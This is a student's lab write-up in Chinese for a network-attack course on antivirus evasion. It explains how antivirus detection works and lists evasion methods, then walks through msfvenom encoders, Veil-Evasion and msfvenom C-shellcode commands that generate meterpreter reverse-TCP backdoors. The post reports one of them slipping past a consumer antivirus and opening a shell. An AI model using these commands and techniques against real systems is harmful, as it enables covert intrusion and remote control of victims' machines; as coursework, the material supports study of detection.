20145328 《网络对抗技术》免杀原理与实践
20145328 《网络对抗技术》免杀原理与实践
实践内容:
- (1)理解免杀技术原理
- (2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- (3)通过组合应用各种技术实现恶意代码免杀
- (4)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
基础问题回答
(1)杀软是如何检测出恶意代码的?
- 杀毒软件对于恶意软件的检测分为三种:基于特征码的检测,启发式恶意软件检测,基于行为的恶意软件检测
- 基于特征码的检测:特征码就是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码
- 因此杀毒软件厂商就需要拥有最新最全的特征码库,也就是所谓的病毒库
- 启发式恶意软件检测:简单来说就是一个软件从各方面看起来都像是一个病毒,杀毒软件就觉得它是一个病毒了,只不过这种方式的准确性没有基于特征码的高,但是这种方式可以检测到0-day恶意软件,具有一定通用性
- 基于行为的恶意软件检测:从理论上可以说是加入了行为监控的启发式检测
(2)免杀是做什么?
- 一般来说就是对恶意软件进行处理,让杀毒软件检测不出来
(3)免杀的基本方法有哪些?
- 改变特征码,例如给EXE加壳,通过这种方式让杀毒软件无法进行反汇编、逆向操作,又或者对ShellCode进行编码重组
- 改变行为
- 通讯方式:尽量使用反弹式连接,使用隧道技术,加密通讯数据
- 操作模式:基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码
- 其他方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
实验总结与体会
- 杀软不更新病毒库真的是一点用处都没有,virscan.org上有些病毒库的更新时间居然还是几年前,利用工具做出来的免杀效果并没有想象中的那么好,毕竟杀毒厂商们也是盯着的,要达到一个好的查杀效果,还是尽可能的从头手工打造,但是这样一来耗费的时间成本就高了,不过免杀这种事情本来就不是一点时间就能搞定的,要想精益求精的话肯定也是需要一步一步的来打磨的。
- windows defender功能太强也是快乐并痛着,visual studio2017还是版本太高了,编译出来的可执行文件拷到其他机器上都不一定能有相对应的运行环境,不过好在最后折腾出来了,是真的折腾😂
- ShellCode部分其实还可以继续完善,持续更新吧
离实战还缺些什么技术或步骤?
- 在实际的渗透中还需要将自己的后门软件植入到目标靶机上并添加到计划执行,肯定不会像我们在做实验的这个过程中一样,用一句nc指令就行了的,而制作出的这些后门软件可能存在上传的网站中检测结果与实际检测结果不符合的情况,而且有可能刚做出来个后门软件,这两天还可以用,过两天杀软更新了病毒库就给查杀了。
- 在这两次实验中的后门软件反弹连接的地址都是局域网地址,局限性很大,换了一个局域网环境【例如从寝室换到教室或者图书馆】,那么又需要重新生成后门软件,重新植入后门,实战这样弄估计会把自己累死,如果要投入实战的话还需要去租用一台有公网ip的服务器才行
实践过程记录
原始文件免杀效果
-
环境:win10,Windows Defender,virscan.org
-
刚刚从虚拟机复制到主机上就弹出提示,打开Windows Defender将软件添加到信任列表内,不然接下来就没法做了,
-
上传到http://www.virscan.org/试一试,弹出需要修改文件名的提示,
-
修改文件名过后再次上传,检测结果如下,查杀率还是相当高的,而且都是通过基于特征码检测出来的,
Msfvenom利用编码器试一试
-
环境:win10,Windows Defender,virscan.org
-
利用编码器编码试一试
-
这一次从虚拟机复制过来的时候居然没有检测出来?效果这么立竿见影?打开Windows Defender也没有在信任列表和隔离列表里面发现,列表里面唯一的软件是原来的原始文件,
-
上传,这次机智如我肯定不会再像上次那样因为文件名出问题,结果。。。就在这个时候,Windows Defender它弹出提示了!!!
-
再次添加到信任列表后上传,是的,一点变化都没有,
Veil-Evasion
- 环境:win10,Windows Defender,virscan.org
- Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。在老师给的Kali2虚拟机中是已经安装好的,在自己的那台上面没有,因为使用的是root账号,在安装时直接使用
apt-get install veil-evasion
,软件包486MB,校园网速度差点下哭了,所以直接用的老师的那个, - 输入指令
veil-evasion
即可打开软件,根据menu
的提示依次键入以下指令:
use python/meterpreter/rev_tcp //设置payload
set LHOST 192.168.199.123 //设置反弹连接IP
set port 443 //设置反弹端口443,默认为4444
generate //生成
Rebrust-2 //程序名
1
-
复制到主机,没有弹窗提醒,而且上传的时候也没有弹出,检测结果如下,
-
总体来说,情况要比Metasploit要好上一点,但查杀率还是不低
c语言shellcode
-
环境:win10,Windows Defender,virscan.org
-
在kali虚拟机下,进入终端,执行指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.105 LPORT=443 -f c
-
其中LHOST为反弹连接的主机ip地址,LPORT为连接的端口。
-
将Shellcode数组复制到
Visual Studio 2017
中编译运行成可执行文件,此处代码不进行展示。 -
在生成运行的时候,Windows Defender就弹窗提醒了,添加至允许列表,Kali虚拟机中获取到了靶机Shell
-
上传检测一下,检测结果如下,整体情况比起之前算是好了不少,可是。对于刚生成运行就被Windows Defender弹窗提醒,肯定还是不够的
-
尝试把可执行文件丢到win8.1+电脑管家的环境下试一试,嗯,电脑管家没有弹窗,运行一下试试,没毛病【其实仔细看图会发现ip地址和上面的不一样,原因是因为换了一个局域网环境】
-
终于是成功了,查看一下电脑管家的防护日志,没什么问题
-
环境:win8.1+电脑管家12.4.18585.207
------博客持续更新中,敬请期待------